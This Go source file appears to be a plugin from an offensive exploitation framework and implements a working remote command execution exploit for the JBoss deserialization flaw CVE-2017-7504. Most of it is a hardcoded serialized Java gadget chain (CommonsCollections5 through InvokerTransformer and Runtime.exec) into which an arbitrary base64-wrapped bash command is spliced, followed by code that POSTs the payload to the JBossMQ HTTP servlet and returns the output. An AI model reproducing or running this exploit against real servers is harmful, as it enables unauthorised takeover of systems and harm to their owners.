package drops

import (
	"context"
	"encoding/base64"
	"fmt"
	"gitee.com/wudicaidou/menciis-evilops/expbase"
	"gitee.com/wudicaidou/menciis-pocx/pocbase"
	"net/http"
	"net/url"
	"time"
)

type JbossCve20177504 struct {
	expbase.BaseExploitPlugin
}

func init() {
	var exp JbossCve20177504
	info := exp.Meta()
	ExpApis[info.VulId] = &exp
}

func (t *JbossCve20177504) Meta() *expbase.ExpMeta {
	return &expbase.ExpMeta{
		Id:      "0a38b530-c6a6-4641-a5de-9f74a131f159",
		VulId:   "b07ba51c-b0a8-4060-a136-d2b793c6748f",
		Name:    "Jboss_CVE_2017_7504",
		Ability: expbase.TypeCommandExecution,
		Echo:    true,
	}
}

func (t *JbossCve20177504) buildPayload(cmd string) []byte {
	l := len(cmd)
	hexData1 := []byte{0xAC, 0xED, 0x00, 0x05, 0x73, 0x72, 0x00, 0x2E, 0x6A, 0x61, 0x76, 0x61, 0x78, 0x2E, 0x6D, 0x61,
		0x6E, 0x61, 0x67, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x2E, 0x42, 0x61, 0x64, 0x41, 0x74, 0x74, 0x72,
		0x69, 0x62, 0x75, 0x74, 0x65, 0x56, 0x61, 0x6C, 0x75, 0x65, 0x45, 0x78, 0x70, 0x45, 0x78, 0x63,
		0x65, 0x70, 0x74, 0x69, 0x6F, 0x6E, 0xD4, 0xE7, 0xDA, 0xAB, 0x63, 0x2D, 0x46, 0x40, 0x02, 0x00,
		0x01, 0x4C, 0x00, 0x03, 0x76, 0x61, 0x6C, 0x74, 0x00, 0x12, 0x4C, 0x6A, 0x61, 0x76, 0x61, 0x2F,
		0x6C, 0x61, 0x6E, 0x67, 0x2F, 0x4F, 0x62, 0x6A, 0x65, 0x63, 0x74, 0x3B, 0x78, 0x72, 0x00, 0x13,
		0x6A, 0x61, 0x76, 0x61, 0x2E, 0x6C, 0x61, 0x6E, 0x67, 0x2E, 0x45, 0x78, 0x63, 0x65, 0x70, 0x74,
		0x69, 0x6F, 0x6E, 0xD0, 0xFD, 0x1F, 0x3E, 0x1A, 0x3B, 0x1C, 0xC4, 0x02, 0x00, 0x00, 0x78, 0x72,
		0x00, 0x13, 0x6A, 0x61, 0x76, 0x61, 0x2E, 0x6C, 0x61, 0x6E, 0x67, 0x2E, 0x54, 0x68, 0x72, 0x6F,
		0x77, 0x61, 0x62, 0x6C, 0x65, 0xD5, 0xC6, 0x35, 0x27, 0x39, 0x77, 0xB8, 0xCB, 0x03, 0x00, 0x04,
		0x4C, 0x00, 0x05, 0x63, 0x61, 0x75, 0x73, 0x65, 0x74, 0x00, 0x15, 0x4C, 0x6A, 0x61, 0x76, 0x61,
		0x2F, 0x6C, 0x61, 0x6E, 0x67, 0x2F, 0x54, 0x68, 0x72, 0x6F, 0x77, 0x61, 0x62, 0x6C, 0x65, 0x3B,
		0x4C, 0x00, 0x0D, 0x64, 0x65, 0x74, 0x61, 0x69, 0x6C, 0x4D, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65,
		0x74, 0x00, 0x12, 0x4C, 0x6A, 0x61, 0x76, 0x61, 0x2F, 0x6C, 0x61, 0x6E, 0x67, 0x2F, 0x53, 0x74,
		0x72, 0x69, 0x6E, 0x67, 0x3B, 0x5B, 0x00, 0x0A, 0x73, 0x74, 0x61, 0x63, 0x6B, 0x54, 0x72, 0x61,
		0x63, 0x65, 0x74, 0x00, 0x1E, 0x5B, 0x4C, 0x6A, 0x61, 0x76, 0x61, 0x2F, 0x6C, 0x61, 0x6E, 0x67,
		0x2F, 0x53, 0x74, 0x61, 0x63, 0x6B, 0x54, 0x72, 0x61, 0x63, 0x65, 0x45, 0x6C, 0x65, 0x6D, 0x65,
		0x6E, 0x74, 0x3B, 0x4C, 0x00, 0x14, 0x73, 0x75, 0x70, 0x70, 0x72, 0x65, 0x73, 0x73, 0x65, 0x64,
		0x45, 0x78, 0x63, 0x65, 0x70, 0x74, 0x69, 0x6F, 0x6E, 0x73, 0x74, 0x00, 0x10, 0x4C, 0x6A, 0x61,
		0x76, 0x61, 0x2F, 0x75, 0x74, 0x69, 0x6C, 0x2F, 0x4C, 0x69, 0x73, 0x74, 0x3B, 0x78, 0x70, 0x71,
		0x00, 0x7E, 0x00, 0x08, 0x70, 0x75, 0x72, 0x00, 0x1E, 0x5B, 0x4C, 0x6A, 0x61, 0x76, 0x61, 0x2E,
		0x6C, 0x61, 0x6E, 0x67, 0x2E, 0x53, 0x74, 0x61, 0x63, 0x6B, 0x54, 0x72, 0x61, 0x63, 0x65, 0x45,
		0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x3B, 0x02, 0x46, 0x2A, 0x3C, 0x3C, 0xFD, 0x22, 0x39, 0x02,
		0x00, 0x00, 0x78, 0x70, 0x00, 0x00, 0x00, 0x03, 0x73, 0x72, 0x00, 0x1B, 0x6A, 0x61, 0x76, 0x61,
		0x2E, 0x6C, 0x61, 0x6E, 0x67, 0x2E, 0x53, 0x74, 0x61, 0x63, 0x6B, 0x54, 0x72, 0x61, 0x63, 0x65,
		0x45, 0x6C, 0x65, 0x6D, 0x65, 0x6E, 0x74, 0x61, 0x09, 0xC5, 0x9A, 0x26, 0x36, 0xDD, 0x85, 0x02,
		0x00, 0x08, 0x42, 0x00, 0x06, 0x66, 0x6F, 0x72, 0x6D, 0x61, 0x74, 0x49, 0x00, 0x0A, 0x6C, 0x69,
		0x6E, 0x65, 0x4E, 0x75, 0x6D, 0x62, 0x65, 0x72, 0x4C, 0x00, 0x0F, 0x63, 0x6C, 0x61, 0x73, 0x73,
		0x4C, 0x6F, 0x61, 0x64, 0x65, 0x72, 0x4E, 0x61, 0x6D, 0x65, 0x71, 0x00, 0x7E, 0x00, 0x05, 0x4C,
		0x00, 0x0E, 0x64, 0x65, 0x63, 0x6C, 0x61, 0x72, 0x69, 0x6E, 0x67, 0x43, 0x6C, 0x61, 0x73, 0x73,
		0x71, 0x00, 0x7E, 0x00, 0x05, 0x4C, 0x00, 0x08, 0x66, 0x69, 0x6C, 0x65, 0x4E, 0x61, 0x6D, 0x65,
		0x71, 0x00, 0x7E, 0x00, 0x05, 0x4C, 0x00, 0x0A, 0x6D, 0x65, 0x74, 0x68, 0x6F, 0x64, 0x4E, 0x61,
		0x6D, 0x65, 0x71, 0x00, 0x7E, 0x00, 0x05, 0x4C, 0x00, 0x0A, 0x6D, 0x6F, 0x64, 0x75, 0x6C, 0x65,
		0x4E, 0x61, 0x6D, 0x65, 0x71, 0x00, 0x7E, 0x00, 0x05, 0x4C, 0x00, 0x0D, 0x6D, 0x6F, 0x64, 0x75,
		0x6C, 0x65, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6F, 0x6E, 0x71, 0x00, 0x7E, 0x00, 0x05, 0x78, 0x70,
		0x01, 0x00, 0x00, 0x00, 0x51, 0x74, 0x00, 0x03, 0x61, 0x70, 0x70, 0x74, 0x00, 0x26, 0x79, 0x73,
		0x6F, 0x73, 0x65, 0x72, 0x69, 0x61, 0x6C, 0x2E, 0x70, 0x61, 0x79, 0x6C, 0x6F, 0x61, 0x64, 0x73,
		0x2E, 0x43, 0x6F, 0x6D, 0x6D, 0x6F, 0x6E, 0x73, 0x43, 0x6F, 0x6C, 0x6C, 0x65, 0x63, 0x74, 0x69,
		0x6F, 0x6E, 0x73, 0x35, 0x74, 0x00, 0x18, 0x43, 0x6F, 0x6D, 0x6D, 0x6F, 0x6E, 0x73, 0x43, 0x6F,
		0x6C, 0x6C, 0x65, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x73, 0x35, 0x2E, 0x6A, 0x61, 0x76, 0x61, 0x74,
		0x00, 0x09, 0x67, 0x65, 0x74, 0x4F, 0x62, 0x6A, 0x65, 0x63, 0x74, 0x70, 0x70, 0x73, 0x71, 0x00,
		0x7E, 0x00, 0x0B, 0x01, 0x00, 0x00, 0x00, 0x33, 0x71, 0x00, 0x7E, 0x00, 0x0D, 0x71, 0x00, 0x7E,
		0x00, 0x0E, 0x71, 0x00, 0x7E, 0x00, 0x0F, 0x71, 0x00, 0x7E, 0x00, 0x10, 0x70, 0x70, 0x73, 0x71,
		0x00, 0x7E, 0x00, 0x0B, 0x01, 0x00, 0x00, 0x00, 0x22, 0x71, 0x00, 0x7E, 0x00, 0x0D, 0x74, 0x00,
		0x19, 0x79, 0x73, 0x6F, 0x73, 0x65, 0x72, 0x69, 0x61, 0x6C, 0x2E, 0x47, 0x65, 0x6E, 0x65, 0x72,
		0x61, 0x74, 0x65, 0x50, 0x61, 0x79, 0x6C, 0x6F, 0x61, 0x64, 0x74, 0x00, 0x14, 0x47, 0x65, 0x6E,
		0x65, 0x72, 0x61, 0x74, 0x65, 0x50, 0x61, 0x79, 0x6C, 0x6F, 0x61, 0x64, 0x2E, 0x6A, 0x61, 0x76,
		0x61, 0x74, 0x00, 0x04, 0x6D, 0x61, 0x69, 0x6E, 0x70, 0x70, 0x73, 0x72, 0x00, 0x1F, 0x6A, 0x61,
		0x76, 0x61, 0x2E, 0x75, 0x74, 0x69, 0x6C, 0x2E, 0x43, 0x6F, 0x6C, 0x6C, 0x65, 0x63, 0x74, 0x69,
		0x6F, 0x6E, 0x73, 0x24, 0x45, 0x6D, 0x70, 0x74, 0x79, 0x4C, 0x69, 0x73, 0x74, 0x7A, 0xB8, 0x17,
		0xB4, 0x3C, 0xA7, 0x9E, 0xDE, 0x02, 0x00, 0x00, 0x78, 0x70, 0x78, 0x73, 0x72, 0x00, 0x34, 0x6F,
		0x72, 0x67, 0x2E, 0x61, 0x70, 0x61, 0x63, 0x68, 0x65, 0x2E, 0x63, 0x6F, 0x6D, 0x6D, 0x6F, 0x6E,
		0x73, 0x2E, 0x63, 0x6F, 0x6C, 0x6C, 0x65, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x73, 0x2E, 0x6B, 0x65,
		0x79, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x2E, 0x54, 0x69, 0x65, 0x64, 0x4D, 0x61, 0x70, 0x45, 0x6E,
		0x74, 0x72, 0x79, 0x8A, 0xAD, 0xD2, 0x9B, 0x39, 0xC1, 0x1F, 0xDB, 0x02, 0x00, 0x02, 0x4C, 0x00,
		0x03, 0x6B, 0x65, 0x79, 0x71, 0x00, 0x7E, 0x00, 0x01, 0x4C, 0x00, 0x03, 0x6D, 0x61, 0x70, 0x74,
		0x00, 0x0F, 0x4C, 0x6A, 0x61, 0x76, 0x61, 0x2F, 0x75, 0x74, 0x69, 0x6C, 0x2F, 0x4D, 0x61, 0x70,
		0x3B, 0x78, 0x70, 0x74, 0x00, 0x03, 0x66, 0x6F, 0x6F, 0x73, 0x72, 0x00, 0x2A, 0x6F, 0x72, 0x67,
		0x2E, 0x61, 0x70, 0x61, 0x63, 0x68, 0x65, 0x2E, 0x63, 0x6F, 0x6D, 0x6D, 0x6F, 0x6E, 0x73, 0x2E,
		0x63, 0x6F, 0x6C, 0x6C, 0x65, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x73, 0x2E, 0x6D, 0x61, 0x70, 0x2E,
		0x4C, 0x61, 0x7A, 0x79, 0x4D, 0x61, 0x70, 0x6E, 0xE5, 0x94, 0x82, 0x9E, 0x79, 0x10, 0x94, 0x03,
		0x00, 0x01, 0x4C, 0x00, 0x07, 0x66, 0x61, 0x63, 0x74, 0x6F, 0x72, 0x79, 0x74, 0x00, 0x2C, 0x4C,
		0x6F, 0x72, 0x67, 0x2F, 0x61, 0x70, 0x61, 0x63, 0x68, 0x65, 0x2F, 0x63, 0x6F, 0x6D, 0x6D, 0x6F,
		0x6E, 0x73, 0x2F, 0x63, 0x6F, 0x6C, 0x6C, 0x65, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x73, 0x2F, 0x54,
		0x72, 0x61, 0x6E, 0x73, 0x66, 0x6F, 0x72, 0x6D, 0x65, 0x72, 0x3B, 0x78, 0x70, 0x73, 0x72, 0x00,
		0x3A, 0x6F, 0x72, 0x67, 0x2E, 0x61, 0x70, 0x61, 0x63, 0x68, 0x65, 0x2E, 0x63, 0x6F, 0x6D, 0x6D,
		0x6F, 0x6E, 0x73, 0x2E, 0x63, 0x6F, 0x6C, 0x6C, 0x65, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x73, 0x2E,
		0x66, 0x75, 0x6E, 0x63, 0x74, 0x6F, 0x72, 0x73, 0x2E, 0x43, 0x68, 0x61, 0x69, 0x6E, 0x65, 0x64,
		0x54, 0x72, 0x61, 0x6E, 0x73, 0x66, 0x6F, 0x72, 0x6D, 0x65, 0x72, 0x30, 0xC7, 0x97, 0xEC, 0x28,
		0x7A, 0x97, 0x04, 0x02, 0x00, 0x01, 0x5B, 0x00, 0x0D, 0x69, 0x54, 0x72, 0x61, 0x6E, 0x73, 0x66,
		0x6F, 0x72, 0x6D, 0x65, 0x72, 0x73, 0x74, 0x00, 0x2D, 0x5B, 0x4C, 0x6F, 0x72, 0x67, 0x2F, 0x61,
		0x70, 0x61, 0x63, 0x68, 0x65, 0x2F, 0x63, 0x6F, 0x6D, 0x6D, 0x6F, 0x6E, 0x73, 0x2F, 0x63, 0x6F,
		0x6C, 0x6C, 0x65, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x73, 0x2F, 0x54, 0x72, 0x61, 0x6E, 0x73, 0x66,
		0x6F, 0x72, 0x6D, 0x65, 0x72, 0x3B, 0x78, 0x70, 0x75, 0x72, 0x00, 0x2D, 0x5B, 0x4C, 0x6F, 0x72,
		0x67, 0x2E, 0x61, 0x70, 0x61, 0x63, 0x68, 0x65, 0x2E, 0x63, 0x6F, 0x6D, 0x6D, 0x6F, 0x6E, 0x73,
		0x2E, 0x63, 0x6F, 0x6C, 0x6C, 0x65, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x73, 0x2E, 0x54, 0x72, 0x61,
		0x6E, 0x73, 0x66, 0x6F, 0x72, 0x6D, 0x65, 0x72, 0x3B, 0xBD, 0x56, 0x2A, 0xF1, 0xD8, 0x34, 0x18,
		0x99, 0x02, 0x00, 0x00, 0x78, 0x70, 0x00, 0x00, 0x00, 0x05, 0x73, 0x72, 0x00, 0x3B, 0x6F, 0x72,
		0x67, 0x2E, 0x61, 0x70, 0x61, 0x63, 0x68, 0x65, 0x2E, 0x63, 0x6F, 0x6D, 0x6D, 0x6F, 0x6E, 0x73,
		0x2E, 0x63, 0x6F, 0x6C, 0x6C, 0x65, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x73, 0x2E, 0x66, 0x75, 0x6E,
		0x63, 0x74, 0x6F, 0x72, 0x73, 0x2E, 0x43, 0x6F, 0x6E, 0x73, 0x74, 0x61, 0x6E, 0x74, 0x54, 0x72,
		0x61, 0x6E, 0x73, 0x66, 0x6F, 0x72, 0x6D, 0x65, 0x72, 0x58, 0x76, 0x90, 0x11, 0x41, 0x02, 0xB1,
		0x94, 0x02, 0x00, 0x01, 0x4C, 0x00, 0x09, 0x69, 0x43, 0x6F, 0x6E, 0x73, 0x74, 0x61, 0x6E, 0x74,
		0x71, 0x00, 0x7E, 0x00, 0x01, 0x78, 0x70, 0x76, 0x72, 0x00, 0x11, 0x6A, 0x61, 0x76, 0x61, 0x2E,
		0x6C, 0x61, 0x6E, 0x67, 0x2E, 0x52, 0x75, 0x6E, 0x74, 0x69, 0x6D, 0x65, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x78, 0x70, 0x73, 0x72, 0x00, 0x3A, 0x6F, 0x72, 0x67,
		0x2E, 0x61, 0x70, 0x61, 0x63, 0x68, 0x65, 0x2E, 0x63, 0x6F, 0x6D, 0x6D, 0x6F, 0x6E, 0x73, 0x2E,
		0x63, 0x6F, 0x6C, 0x6C, 0x65, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x73, 0x2E, 0x66, 0x75, 0x6E, 0x63,
		0x74, 0x6F, 0x72, 0x73, 0x2E, 0x49, 0x6E, 0x76, 0x6F, 0x6B, 0x65, 0x72, 0x54, 0x72, 0x61, 0x6E,
		0x73, 0x66, 0x6F, 0x72, 0x6D, 0x65, 0x72, 0x87, 0xE8, 0xFF, 0x6B, 0x7B, 0x7C, 0xCE, 0x38, 0x02,
		0x00, 0x03, 0x5B, 0x00, 0x05, 0x69, 0x41, 0x72, 0x67, 0x73, 0x74, 0x00, 0x13, 0x5B, 0x4C, 0x6A,
		0x61, 0x76, 0x61, 0x2F, 0x6C, 0x61, 0x6E, 0x67, 0x2F, 0x4F, 0x62, 0x6A, 0x65, 0x63, 0x74, 0x3B,
		0x4C, 0x00, 0x0B, 0x69, 0x4D, 0x65, 0x74, 0x68, 0x6F, 0x64, 0x4E, 0x61, 0x6D, 0x65, 0x71, 0x00,
		0x7E, 0x00, 0x05, 0x5B, 0x00, 0x0B, 0x69, 0x50, 0x61, 0x72, 0x61, 0x6D, 0x54, 0x79, 0x70, 0x65,
		0x73, 0x74, 0x00, 0x12, 0x5B, 0x4C, 0x6A, 0x61, 0x76, 0x61, 0x2F, 0x6C, 0x61, 0x6E, 0x67, 0x2F,
		0x43, 0x6C, 0x61, 0x73, 0x73, 0x3B, 0x78, 0x70, 0x75, 0x72, 0x00, 0x13, 0x5B, 0x4C, 0x6A, 0x61,
		0x76, 0x61, 0x2E, 0x6C, 0x61, 0x6E, 0x67, 0x2E, 0x4F, 0x62, 0x6A, 0x65, 0x63, 0x74, 0x3B, 0x90,
		0xCE, 0x58, 0x9F, 0x10, 0x73, 0x29, 0x6C, 0x02, 0x00, 0x00, 0x78, 0x70, 0x00, 0x00, 0x00, 0x02,
		0x74, 0x00, 0x0A, 0x67, 0x65, 0x74, 0x52, 0x75, 0x6E, 0x74, 0x69, 0x6D, 0x65, 0x75, 0x72, 0x00,
		0x12, 0x5B, 0x4C, 0x6A, 0x61, 0x76, 0x61, 0x2E, 0x6C, 0x61, 0x6E, 0x67, 0x2E, 0x43, 0x6C, 0x61,
		0x73, 0x73, 0x3B, 0xAB, 0x16, 0xD7, 0xAE, 0xCB, 0xCD, 0x5A, 0x99, 0x02, 0x00, 0x00, 0x78, 0x70,
		0x00, 0x00, 0x00, 0x00, 0x74, 0x00, 0x09, 0x67, 0x65, 0x74, 0x4D, 0x65, 0x74, 0x68, 0x6F, 0x64,
		0x75, 0x71, 0x00, 0x7E, 0x00, 0x2F, 0x00, 0x00, 0x00, 0x02, 0x76, 0x72, 0x00, 0x10, 0x6A, 0x61,
		0x76, 0x61, 0x2E, 0x6C, 0x61, 0x6E, 0x67, 0x2E, 0x53, 0x74, 0x72, 0x69, 0x6E, 0x67, 0xA0, 0xF0,
		0xA4, 0x38, 0x7A, 0x3B, 0xB3, 0x42, 0x02, 0x00, 0x00, 0x78, 0x70, 0x76, 0x71, 0x00, 0x7E, 0x00,
		0x2F, 0x73, 0x71, 0x00, 0x7E, 0x00, 0x28, 0x75, 0x71, 0x00, 0x7E, 0x00, 0x2C, 0x00, 0x00, 0x00,
		0x02, 0x70, 0x75, 0x71, 0x00, 0x7E, 0x00, 0x2C, 0x00, 0x00, 0x00, 0x00, 0x74, 0x00, 0x06, 0x69,
		0x6E, 0x76, 0x6F, 0x6B, 0x65, 0x75, 0x71, 0x00, 0x7E, 0x00, 0x2F, 0x00, 0x00, 0x00, 0x02, 0x76,
		0x72, 0x00, 0x10, 0x6A, 0x61, 0x76, 0x61, 0x2E, 0x6C, 0x61, 0x6E, 0x67, 0x2E, 0x4F, 0x62, 0x6A,
		0x65, 0x63, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x78, 0x70,
		0x76, 0x71, 0x00, 0x7E, 0x00, 0x2C, 0x73, 0x71, 0x00, 0x7E, 0x00, 0x28, 0x75, 0x72, 0x00, 0x13,
		0x5B, 0x4C, 0x6A, 0x61, 0x76, 0x61, 0x2E, 0x6C, 0x61, 0x6E, 0x67, 0x2E, 0x53, 0x74, 0x72, 0x69,
		0x6E, 0x67, 0x3B, 0xAD, 0xD2, 0x56, 0xE7, 0xE9, 0x1D, 0x7B, 0x47, 0x02, 0x00, 0x00, 0x78, 0x70,
		0x00, 0x00, 0x00, 0x01, 0x74, 0x00, 0x00}
	hexData1[len(hexData1)-1] += byte(l)
	hexData2 := []byte{0x74, 0x00, 0x04, 0x65, 0x78, 0x65, 0x63, 0x75, 0x71, 0x00, 0x7E, 0x00, 0x2F, 0x00, 0x00, 0x00,
		0x01, 0x71, 0x00, 0x7E, 0x00, 0x34, 0x73, 0x71, 0x00, 0x7E, 0x00, 0x24, 0x73, 0x72, 0x00, 0x11,
		0x6A, 0x61, 0x76, 0x61, 0x2E, 0x6C, 0x61, 0x6E, 0x67, 0x2E, 0x49, 0x6E, 0x74, 0x65, 0x67, 0x65,
		0x72, 0x12, 0xE2, 0xA0, 0xA4, 0xF7, 0x81, 0x87, 0x38, 0x02, 0x00, 0x01, 0x49, 0x00, 0x05, 0x76,
		0x61, 0x6C, 0x75, 0x65, 0x78, 0x72, 0x00, 0x10, 0x6A, 0x61, 0x76, 0x61, 0x2E, 0x6C, 0x61, 0x6E,
		0x67, 0x2E, 0x4E, 0x75, 0x6D, 0x62, 0x65, 0x72, 0x86, 0xAC, 0x95, 0x1D, 0x0B, 0x94, 0xE0, 0x8B,
		0x02, 0x00, 0x00, 0x78, 0x70, 0x00, 0x00, 0x00, 0x01, 0x73, 0x72, 0x00, 0x11, 0x6A, 0x61, 0x76,
		0x61, 0x2E, 0x75, 0x74, 0x69, 0x6C, 0x2E, 0x48, 0x61, 0x73, 0x68, 0x4D, 0x61, 0x70, 0x05, 0x07,
		0xDA, 0xC1, 0xC3, 0x16, 0x60, 0xD1, 0x03, 0x00, 0x02, 0x46, 0x00, 0x0A, 0x6C, 0x6F, 0x61, 0x64,
		0x46, 0x61, 0x63, 0x74, 0x6F, 0x72, 0x49, 0x00, 0x09, 0x74, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6F,
		0x6C, 0x64, 0x78, 0x70, 0x3F, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x77, 0x08, 0x00, 0x00,
		0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x78, 0x78}
	var bytes []byte
	bytes = append(bytes, hexData1...)
	bytes = append(bytes, []byte(cmd)...)
	bytes = append(bytes, hexData2...)
	return bytes
}

func (t *JbossCve20177504) ExecuteCommand(ctx context.Context, expContext *expbase.ExpContext) (data []*expbase.CommandResultEvent, err error) {
	//t.reverse(ctx, expContext)
	//return nil, nil
	reqAsset, ok := expContext.Target.(*pocbase.RequestAsset)
	if !ok {
		return nil, expbase.ErrEmptyReqAsset
	}
	req := reqAsset.Req.Clone()
	baseUrl := req.GetUrl().String()
	newUrl, err := url.Parse(baseUrl + `/jbossmq-httpil/HTTPServerILServlet`)
	req.RawRequest.URL = newUrl
	req.RawRequest.Method = http.MethodPost
	for _, cmd := range expContext.CommandToExecute {
		res := base64.StdEncoding.EncodeToString([]byte(cmd))
		res = `bash -c {echo,` + res + `}|{base64,-d}|{bash,-i}`
		body := t.buildPayload(res)
		req.SetBody(body)
		resp, err := expContext.HttpClient.Do(ctx, req)
		time.Sleep(time.Millisecond * 100)
		if err != nil {
			fmt.Println(err.Error())
			return nil, nil
		}
		data = append(data, &expbase.CommandResultEvent{
			Request:   *req.RawRequest,
			Response:  *resp.RawResponse,
			EventBase: t.GetEventBase(expContext.Target, t),
			Command:   cmd,
			Result:    resp.GetBody(),
		})
	}
	return data, nil
}

func (t *JbossCve20177504) GetBasicInfo(ctx context.Context, expContext *expbase.ExpContext) (data []*expbase.BasicInfoEvent, err error) {
	return nil, nil
}

func (t *JbossCve20177504) DownloadFile(ctx context.Context, expContext *expbase.ExpContext) (data []*expbase.FileDownloadEvent, err error) {
	return nil, nil
}
